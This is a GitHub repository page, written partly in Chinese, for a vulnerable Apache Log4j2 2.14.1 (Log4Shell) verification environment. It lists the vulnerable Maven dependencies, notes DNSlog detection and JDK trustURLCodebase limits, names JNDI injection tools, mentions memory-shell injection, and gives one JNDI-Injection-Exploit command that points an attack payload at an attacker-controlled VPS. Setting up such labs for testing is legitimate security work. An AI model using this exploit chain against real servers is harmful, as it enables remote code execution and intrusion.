Skip to content

1in9e/Apache-Log4j2-RCE

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Apache Log4j2 RCE 验证环境

Since from 2021.12.09

Some Ref

https://mp.weixin.qq.com/s/yck74F9p9QhVw_3ykzVoSg

搭建环境

maven引入相关包及存在漏洞版本范围

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

0

检查

利用dnslog探测是否使用

0

ldap结合jndi利用RCE

jdk版本有关,JDK 11.0.1、8u191、7u201、6u211之后需要手动设置trustURLCodebase为true

关于此详细学习可参考 https://blog.0kami.cn/2020/03/01/java/jndi-with-ldap/

利用方式,可结合jndi注入工具,例如JNDI-Injection-Exploitfastjson_rce_toolJNDIExploit

还可结合工具实现多种已公开回显方式、内存马注入方式

# 
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a /System/Applications/Calculator.app"  -A your_vps_ip

1

Web

TODO

3

About

https://github.com/apache/logging-log4j2/tags

Releases

No releases published

Packages

No packages published

Languages